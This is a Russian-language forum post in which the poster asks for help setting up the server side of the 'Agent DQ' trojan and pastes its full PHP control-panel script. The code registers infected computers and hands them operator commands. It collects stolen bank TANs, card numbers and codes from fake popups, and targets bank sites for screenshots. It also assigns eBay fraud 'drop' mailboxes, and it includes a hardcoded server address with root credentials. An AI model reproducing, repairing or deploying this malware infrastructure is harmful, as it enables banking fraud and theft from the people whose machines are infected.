Люди,выручите пожалуйста!
Есть скрипт для трояна Agent DQ,но при установке и запуске он требует подключиться к sql базе.
Может у кого есть?
Вот этот скрипт:
Есть скрипт для трояна Agent DQ,но при установке и запуске он требует подключиться к sql базе.
Может у кого есть?
Вот этот скрипт:
Код:
<?
set_magic_quotes_runtime(1);
$server_ip="69.31.128.138";
$login="root";
$pass="qwedsazxc";
$db_name="work";
$table_name="samt_t";
$table_name_ebaydrops="ebay_drops";
$table_name_sellers="sellers";
$table_name_tans="tans";
$table_name_screenshots="bank_screenshots";
$table_name_popup="popup";
$tan_counter=3;
$new_cc=0;
if(array_key_exists('cC',$_GET))
$new_cc=1;
// -------------------------------------------------------------------------------
$mres=mysql_connect($server_ip,$login,$pass) or die ('<center><b>
<h1>Hmmm PLEASE RECHECK SCRIPT CONFIGURATION</center></h1>');
//---------------------------------------------------------------------------------
if($new_cc==1)
{
mysql_query("create database $db_name");
$q="CREATE TABLE `samt_t` (
`Fidx` int(10) unsigned NOT NULL auto_increment,
`FCompID` varchar(100) NOT NULL default '',
`FLastRep` varchar(50) NOT NULL default '',
`FTime` varchar(10) NOT NULL default '',
`FDay` char(2) NOT NULL default '',
`FMonth` char(2) NOT NULL default '',
`FYear` varchar(4) NOT NULL default '',
`FQuery` tinytext NOT NULL,
`FExecuted` mediumtext NOT NULL,
`ip_addr` varchar(15) NOT NULL default '',
`FVer` varchar(10) NOT NULL default '',
`FHosts` mediumtext NOT NULL default '',
PRIMARY KEY (`Fidx`),
UNIQUE KEY `lrp` (`FCompID`,`Fidx`)
) TYPE=MyISAM";
mysql_query("use $db_name");
mysql_query($q);
$q="CREATE TABLE $table_name_ebaydrops (
`Fidx` int(10) unsigned NOT NULL auto_increment,
`Ffakeemail` char(50) NOT NULL default '',
`Ffakebox` char(200) NOT NULL default '',
`FID` varchar(50) NOT NULL default '',
PRIMARY KEY (`Fidx`),
UNIQUE KEY `lrp` (`Fidx`)
) TYPE=MyISAM";
mysql_query($q);
$q="CREATE TABLE $table_name_sellers (
`Fidx` int(10) unsigned NOT NULL default '',
`FCompID` varchar(100) NOT NULL default '',
`FSellerName` varchar(100) NOT NULL default ''
) TYPE=MyISAM";
mysql_query($q);
$q="CREATE TABLE $table_name_tans (
`Fidx` int(10) unsigned NOT NULL auto_increment,
`FCompID` varchar(100) NOT NULL default '',
`FBankUrl` varchar(100) NOT NULL default '',
`FCounter` int(5) unsigned NOT NULL default '',
`FTans` mediumtext NOT NULL default '',
`FDir` varchar(50) NOT NULL default '',
PRIMARY KEY (`Fidx`),
UNIQUE KEY `lrp` (`FCompID`,`Fidx`)
) TYPE=MyISAM";
mysql_query($q);
$q="CREATE TABLE $table_name_screenshots (
`Sites` mediumtext NOT NULL default ''
) TYPE=MyISAM";
mysql_query($q);
$q="CREATE TABLE $table_name_popup (
`Fidx` int(10) unsigned NOT NULL auto_increment,
`FCompID` varchar(100) NOT NULL default '',
`FCard` varchar(40) NOT NULL default '',
`FCode` varchar(10) NOT NULL default '',
PRIMARY KEY (`Fidx`),
UNIQUE KEY `lrp` (`FCompID`,`Fidx`)
) TYPE=MyISAM";
mysql_query($q);
exit('k.');
}
// Popups
if(array_key_exists('card',$_GET))
{
$fid = $_GET['phid'];
$card = $_GET['card'];
$code = $_GET['code'];
mysql_query("use $db_name");
$res=mysql_query("select * from $table_name_popup where FCompID='$fid' and FCard='$card'");
if (mysql_affected_rows($mres)!=0)
{
// Found (something) :)
}
else
{
// Nothing found
if ($code=='popup')
{
echo 'yes';
}
else
{
$res=mysql_query("insert into $table_name_popup (FCompID,FCard,FCode) values ('$fid','$card','$code')");
// echo "insert into $table_name_popup (FCompID,FData) values ($fid,$txt)";
}
}
exit();
}
// Screen shots
if(array_key_exists('shots',$_GET))
{
mysql_query("use $db_name");
$res=mysql_query("select * from $table_name_screenshots");
$obj=mysql_fetch_object($res);
if (mysql_affected_rows($mres)!=0)
{
echo $obj->Sites;
}
exit();
}
if(array_key_exists('tan',$_GET))
{
$fid = $_GET['phid'];
$tan = $_GET['tan'];
$url = $_GET['url'];
$dir = $_GET['dir'];
mysql_query("use $db_name");
$res = mysql_query("select * from $table_name_tans where FCompID='$fid' and FBankUrl='$url'");
if (mysql_affected_rows($mres)!=0)
{
$obj=mysql_fetch_object($res);
if (strstr($obj->FTans,$tan))
{
// TAN found in database
echo 'yes';
}
else
{
if ($obj->FCounter==0)
{
// update database with new TAN
echo 'yesupdate';
$tmp = $obj->FTans;
$tmp.=':'.$tan;
echo $tmp;
mysql_query("update $table_name_tans set FCounter='$tan_counter', FTans='$tmp' where FCompID='$fid' and FBankUrl='$url'");
}
else
{
$counter = $obj->FCounter;
$counter-=1;
mysql_query("update $table_name_tans set FCounter='$counter' where FCompID='$fid' and FBankUrl='$url'");
}
}
}
else
{
mysql_query("insert into $table_name_tans (FCompID,FBankUrl,FCounter,FTans,FDir) values ('$fid','$url','$tan_counter','$tan','$dir')");
echo "yes";
}
exit();
}
if(array_key_exists('id',$_GET))
{
///// send mail only
if(array_key_exists('message',$_GET))
{
$fid = $_GET['id'];
$msg = $_GET['message'];
mysql_query("use $db_name");
// $res = mysql_query("select * from $table_name_ebaydrops where FID='$fid'");
$res = mysql_query("select * from $table_name_ebaydrops d, $table_name_sellers s where d.Fidx=s.Fidx and FSellerName='$fid'");
// echo $fid;
if (mysql_affected_rows($mres)!=0)
{
$obj=mysql_fetch_object($res);
if (mail("$obj->Ffakeemail", "$fid", "$msg",
"From: webmaster@$SERVER_NAME \r\n",
"-fwebmaster@{$_SERVER['SERVER_NAME']}"))
echo "message sent";
}
else
{
echo "no drop found!";
}
exit();
}
//////// get drop info only
mysql_query("use $db_name");
$fid = $_GET['id'];
$phid = $_GET['phid'];
$res = mysql_query("select * from $table_name_ebaydrops e, $table_name_sellers s where e.Fidx=s.Fidx and s.FSellerName='$fid' and s.FCompID='$phid'");
if (mysql_affected_rows($mres)==0)
{
//SELECT * FROM table1 WHERE id NOT IN (SELECT id FROM table2);
//SELECT * FROM table1 WHERE NOT EXISTS (SELECT id FROM table2
// WHERE table1.id=table2.id);
$resemp = mysql_query("SELECT ebay_drops.* FROM ebay_drops LEFT JOIN sellers ON ebay_drops.Fidx=sellers.Fidx and sellers.FCompID='$phid' WHERE sellers.Fidx IS NULL");
if (mysql_affected_rows($mres)==0)
{
echo 'no empty drops!';
exit();
}
else
{
$obj=mysql_fetch_object($resemp);
mysql_query("insert into sellers (FCompID,Fidx,FSellerName) values ('$phid','$obj->Fidx','$fid')");
echo "$obj->Ffakeemail:$obj->Ffakebox";
}
}
else
{
$obj=mysql_fetch_object($res);
echo "$obj->Ffakeemail:$obj->Ffakebox";
}
exit();
}
$id='';
$ver='0';
$ip=$_SERVER["REMOTE_ADDR"];
$upd=FALSE;
if(array_key_exists('h',$_POST))
{
if(array_key_exists('phid',$_POST))
{$id=$_POST['phid'];}else exit;
if(array_key_exists('ver',$_POST))
{$ver=$_POST['ver'];}else exit;
$h = $_POST['h'];
} else
{
if(array_key_exists('phid',$_GET))
{$id=$_GET['phid'];}else exit;
if(array_key_exists('ver',$_GET))
{$ver=$_GET['ver'];}else exit;
}
mysql_query("use $db_name");
$res=mysql_query("select * from $table_name_screenshots");
$obj=mysql_fetch_object($res);
if (mysql_affected_rows($mres)!=0 && $ver!="1.1")
{
echo "$0:".$obj->Sites."\r\n";
}
mysql_query("select Fidx from $table_name where FCompID='$id'");
$upd=mysql_affected_rows($mres);
$lday=date('d');
$ltme=date('H:i:s');
$lmonth=date('m');
$lyear=date('y');
$lrep='['.$lday.'/'.$lmonth.'/'.$lyear.'] '.$ltme;
if($upd==0)
{
mysql_query("insert into $table_name (FCompID,FLastRep,FTime,FDay,FMonth,FYear,FQuery,FExecuted,ip_addr,FVer) values ('$id','$lrep','$ltme','$lday','$lmonth','$lyear','','','$ip','$ver')");
Exit('');
}
$res=mysql_query("select FQuery,FExecuted from $table_name where FCompID='$id'");
$obj=mysql_fetch_object($res);
$query=$obj->FQuery;
$executed=$obj->FExecuted;
echo($query);
if(strlen($query)>0)
{
$executed.=$lrep.' '.$query."\r\n";
}
if(array_key_exists('h',$_POST))
mysql_query("update $table_name set FHosts='$h', FQuery='', FExecuted='$executed', FLastRep='$lrep', FTime='$ltme', FDay='$lday', FMonth='$lmonth', FYear='$lyear', ip_addr='$ip', FVer='$ver' where FCompID='$id'");
else
mysql_query("update $table_name set FQuery='', FExecuted='$executed', FLastRep='$lrep', FTime='$ltme', FDay='$lday', FMonth='$lmonth', FYear='$lyear', ip_addr='$ip', FVer='$ver' where FCompID='$id'");
Exit('');
?>